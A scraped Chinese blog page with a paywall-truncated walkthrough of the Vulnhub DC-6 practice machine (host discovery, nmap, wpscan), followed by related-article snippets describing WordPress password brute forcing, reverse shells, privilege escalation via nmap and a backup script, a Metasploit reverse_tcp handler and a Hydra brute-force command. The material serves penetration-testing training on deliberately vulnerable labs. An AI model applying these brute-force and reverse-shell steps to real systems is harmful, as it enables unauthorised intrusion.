Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程

最新推荐文章于 2025-10-09 15:54:26 发布
原创 最新推荐文章于 2025-10-09 15:54:26 发布 · 2.3k 阅读 · 15 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全 #web安全

Vulnhub靶机 DC-6 详细渗透流程 打靶实战

目录

一、将靶机导入到虚拟机当中

靶机地址：

https://www.vulnhub.com/entry/dc-6,315/

image-20240420155007993

二、渗透测试

主机发现

通过使用arp-scan命令或者使用nmap命令进行主机发现

arp-scan -l

image-20240420155133549

端口扫描

nmap -p- 192.168.0.106

image-20240420155207724

开发22和80端口，且服务为SSH和HTTP服务，详细探测一下

nmap -p80 -sV -A 192.168.0.106
whatweb http://192.168.0.106

image-20240420155340749

信息探测

发现此web服务采用WordPress CMS

image-20240420155438359

访问web界面：访问前先配置一下hosts本地解析

image-20240420155540636

修改完成后即可完成本地域名解析，成功访问，并通过浏览器插件信息收集到此网站的一些服务信息和版本信息

image-20240420155521234

web渗透

通过信息收集得到使用WordPress CMS，那么直接使用kali的wpscan工具进行扫描探测，并枚举用户信息

wpscan --url</
最低0.47元/天 解锁文章
DC-6靶机渗透测试
来日可期的博客
08-13 1662
用一句大白话来说，Activity Monitor类似Windows中的任务管理器，可以实时查看进程占用的CPU、内存的使用量。用一句大白话来说，Activity Monitor类似Windows中的任务管理器，可以实时查看进程占用的CPU、内存的使用量。进入到mark用户的家目录下，stuff文件下有一个things-to-do.txt文件，查看文件内容发现是graham用户及登录密码。找到mark用户的家目录下的stuff文件夹，查看里面的things-to-do.txt。
【vulnhub】---DC-6靶机
qq_43168364的博客
08-21 830
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：靶机(192.168.15.154) 攻击机：kali Linux(192.168.15.129) 二、信息收集 主机发现 命令：nmap -sn 192.168.15.0/24 命令：netdiscover -i eth0 -r 192.168.15.0/24 端口扫描 版本探测和操作系统识别 web指纹识别 网站目录扫描 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结 渗
vulnhub靶机渗透DC-6
RestoreJustice的博客
03-17 254
pty.spawn(“/bin/bash”)’一共获得5个用户名，接下来进行爆破:wpscan --url wordy -U user.txt -P passwords.txt。使用nmap扫描主机服务、端口情况（-p-等价于-p 1-65535）：nmap -p- -A 192.168.80.135。成功获得flag,但有一个奇怪的问题，nmap获得的rootshell无法显示输入，但确实是成功输入了命令，有回显。下载地址：https://www.vulnhub.com/entry/dc-6,315/
2025最新渗透测试靶场推荐
最新发布
小司机的奥拓
10-09 778
网址：https://www.cyberstrikelab.com/CyberStrikeLab 是一个专注于网络安全的在线仿真实战平台，由经验丰富的红队人员打造，以实战、系统、便利为特色，其靶机根据多年实战案例搭建，能帮助学习者提升网络安全实战技能。网址：https://app.hackthebox.com/Hack The Box 是一个国际知名的网络安全渗透测试实战靶场平台，提供在线的渗透测试环境与挑战，帮助网络安全学习者与从业者提升实战技能。网址：https://hackmyvm.eu/
vulnhub靶机实战——W1R3S
weixin_30294295的博客
05-13 533
环境 靶机ip：192.168.163.132 攻击机ip：192.168.163.129 目的：拿下靶机并获得root权限 渗透 首先nmap扫描端口 nmap -sC -sV 192.168.163.132 可看到靶机开启了ftp端口21，ssh端口22，http端口80，mysql端口3306。 首先看到了21端口的ftp允许匿名登陆，于是登陆ftp服务器找有...
vulnhub靶机实战——Matrix：1
weixin_30420305的博客
05-24 331
环境 靶机ip：192.168.163.139 攻击机ip：192.168.163.129 目标：拿下靶机root权限 知识点 生成专属的爆破字典，受限shell rbash的绕过 渗透 首先nmap扫描靶机开启的端口 开了三个端口，分别是22的ssh，80和31337的http 看到31337开着http就觉得很可疑，感觉十有八九突破点是这个web ...
vulnhub之dc6
qq_54030686的博客
06-14 970
DC系列第六篇，整体而言难度较低，此篇之后，不再进行较为细致的篇幅 总体逻辑：话不多说，开始干 主机发现，端口扫描 目标IP为192.168.43.140 开放两个端口22 和80 端口，其中80端口对应的服务为wordy,修改hosts文件，路径为/etc/hosts，添加值 22端口尝试进行爆破，采用用户名top50，字典使用弱口令top100进行尝试 未发现相应结果 进行指纹识别 发现为wordpress框架，使用wordpress专用扫描器进行检测，使用-e参数爆破用户 存在5个用户复制变异成字典
vulnhub之DC6靶机
LainWith的博客
02-14 677
目录介绍信息收集主机发现主机信息探测访问网站wpscan测试站点登录站点反弹shell信息收集提权 介绍 系列： DC（此系列共10台） 发布日期：2019 年 4 月 26 日 难度：初级-中级 Flag：获取root权限，并拿到唯一的flag 学习： ● wordpress 安全测试 ● 本地代码执行 ● nmap 提权 靶机地址：https://www.vulnhub.com/entry/dc-6,315/ 提示信息： 靶机支持Virtualbox和Vmware 需要修改hosts文件，如：192.
VulnHub靶机 DC-5 打靶 渗透测试详细过程
网络空间安全学习
04-18 1682
在访问/footer.php，/thankyou.php时发现跳转界面和原始界面的年份不一样,总是来回变动，刷新也会变动。目录爆破发现，存在file参数，尝试读取一下/etc/passwd文件，成功读取/etc/passwd文件并回显成功。当然既然知道了包含/footer.php文件，那么我们也可以去猜解参数，常用的如file，尝试一下即可，或者爆破。暴露出如下几个目录，去访问发现其中的目录，爆出的目录其中有一些界面为默认界面当中点击跳转的目录。给予sh文件执行权限，直接执行一下试试，成功提权。
VulnHub靶机 DC-7 打靶 渗透详细流程
网络空间安全学习
04-22 1538
主机发现—端口扫描—目录爆破发现后台—服务探测—白盒测试（源码当中找配置文件）—ssh远程登录—邮件信息—找到备份文件脚本—发现脚本当中的drush命令—修改后台密码—进入后台—寻找可代码执行或getshell地方—drupal8不允许执行命令（模块）—下载新的插件—getshell—反弹shell—追加反弹命令—提权即可。由于我们上一步骤已经得到了backups.sh脚本属主为root，属组为www-data，所以我们将反弹shell命令添加到脚本当中，等待执行脚本反弹shell即可得到root权限。
vulnhub靶场 DC-5靶机 渗透详细过程
黑战士的博客
07-29 628
1.首先收集信息，真实ip，端口，网站目录，网站部署部件等2.利用文件包含来getshell3.查看权限，根据suid中的screen 4.5.0进行提权4.提权成功查看flag。
vulnhub靶场 DC-2靶机 渗透详细过程
黑战士的博客
02-21 1152
*4.rbash提权**
靶机实战-DC-6
滕财然的博客
03-03 999
DC-6靶机实战 文章目录DC-6靶机实战1、主机发现2、端口及端口详细信息扫描3、老规矩，访问web服务(80端口)4、提权 1、主机发现 2、端口及端口详细信息扫描 开放22、80端口 3、老规矩，访问web服务(80端口) 输入IP之后会变成http://wordy且找不到此网站 和以前一样，添加到hosts文件中//物理机和kali都添加 重新访问：//这里我用的是火狐的一款插件...
Vulnhub DC-6
柠檬木有枝
07-14 566
nmap 扫描服务 修改 hosts 文件 发现是 wordpress wpscan --url http://wordy/ --enumerate u 查看wordpress用户 爆破得密码 mark:helpdesk01 发现 active monitor 插件 搜索 exp ，反弹 shell 发现用户名密码 python -c 'import pty;pty.spawn("/b...
VulnHub—DC-6
weixin_39219503的博客
02-01 402
01 环境搭建 靶机环境下载：https://www.vulnhub.com/entry/dc-6,315/ 题目信息如下 Description DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. T...
Vulnhub靶机实战——DC-6
冠霖L的博客
10-28 4070
靶机DC-6下载地址：https://download.vulnhub.com/dc/DC-6.zip 环境：VMware 15虚拟机软件 DC-6靶机IP地址：192.168.220.139 Kali的IP地址：192.168.220.142 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.142...
渗透测试：DC-6靶机
Ciyaso的博客
08-21 398
一、扫描获取靶机ip arp-scan -l 192.168.203.145 二、获取网站信息 1.nmap nmap -sV -A 192.168.203.145 开放了22、80端口 访问主页，发现访问不了，和DC-2一样存在重定向，需要修改hosts文件 成功访问 2.Wappaloyzer CMS：WordPress 操作系统：Debian 数据库：Mysql Web服务器：Apache 2.4.25 3.wpscan 由于使用的是WordPress，所以我们使用wpsacn进行扫描
DC6-靶机
Au
10-30 1836
下载地址 下面是作者的提示，和爆破的字典有关 cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt 配置的环境： kali：192.168.25.131 DC6-靶机 和 kali 在同一C段 渗透 nmap扫描网段，发现存活主机 nmap -sP 192.168.25.0/...
DC-6靶机
mlws1900的博客
03-26 1978
开放了一个http和ssh服务，用浏览器打开http服务，发现无法访问，和之前一样，去修改dns文件。登录地址（wordpress的后台地址，信息搜集，目录扫描，都做到这里了，不再做演示）发现可操作/home/jens/backups.sh，打开发现是一个解压的脚本。命令注入，打开bp进行抓包，在ip那一栏填上一个网址，点击lookup。不知道为什么，我这个shell不会显示我自己打的命令，所以需要自己盲打。设置网络为nat模式，启动打开时，发现错误直接重试和点是。看了大佬的wp，发现提示写在人家官网。
vulnhub靶机dc-1
01-11
### VulnHub DC-1 靶机 攻略 介绍 下载 #### 关于DC-1靶机 VulnHub上的DC-1靶机旨在提供给安全爱好者和渗透测试学习者一个实践平台，在此环境中可以合法地进行各种攻击尝试，从而提升技能。该虚拟环境模拟了一个存在多个已知漏洞的服务网络应用，允许参与者通过一系列挑战来获取系统的控制权并最终找到隐藏的标志文件(flag)[^1]。 #### 获取与安装 为了开始体验DC-1靶机的任务，首先需要访问[VulnHub官方网站](https://www.vulnhub.com/)搜索栏输入“DC-1”，点击进入详情页面下载对应的镜像文件(OVA格式)，之后按照提示导入到支持OVA标准的虚拟化工具如VirtualBox或VMware Workstation Pro中完成部署工作[^3]。 #### 初始配置建议 启动后的DC-1默认会分配一个私有IP地址(例如：`192.168.x.x`)，此时应该确保Kali Linux作为攻击端能够与其在同一局域网内通信正常；可以通过ping命令验证连通性状况良好后再继续后续操作。 #### 基础信息搜集阶段 当确认双方设备间通讯无碍后便进入了实际演练环节——即从基础的信息收集做起。这一步骤通常涉及使用Nmap扫描开放端口和服务版本探测等手段以了解目标主机概况： ```bash nmap -A <target-ip> ``` 上述指令将会返回有关远程服务器运行状态的关键情报，为下一步制定针对性策略奠定坚实的基础。 #### 进阶探索与利用路径 随着对DC-1认识程度加深，接下来便是寻找潜在的安全缺陷加以利用的过程。根据已有经验分享可知，成功建立Meterpreter回话意味着已经突破了初步防线，获得了更深层次的操作权限: ```ruby use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <local-ip> # Kali IP address exploit ``` 以上Metasploit框架下的设置可帮助快速搭建监听服务等待来自受害者的连接请求，一旦形成稳定的交互通道即可执行更多高级功能比如浏览目录结构直至定位至预设的目标文件位置。 #### 密码破解辅助技巧 考虑到可能存在弱密码保护的情况，采用Hydra这样的暴力猜解程序配合常用用户名列表以及大型词库资源不失为一种高效的方法去揭示真实的身份凭证组合关系[^4]： ```bash hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/rockyou.txt.gz ftp://<target-ip> ``` 这里展示了针对FTP协议实施登录认证绕过的实例，当然具体应用场景还需视实际情况灵活调整参数选项。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值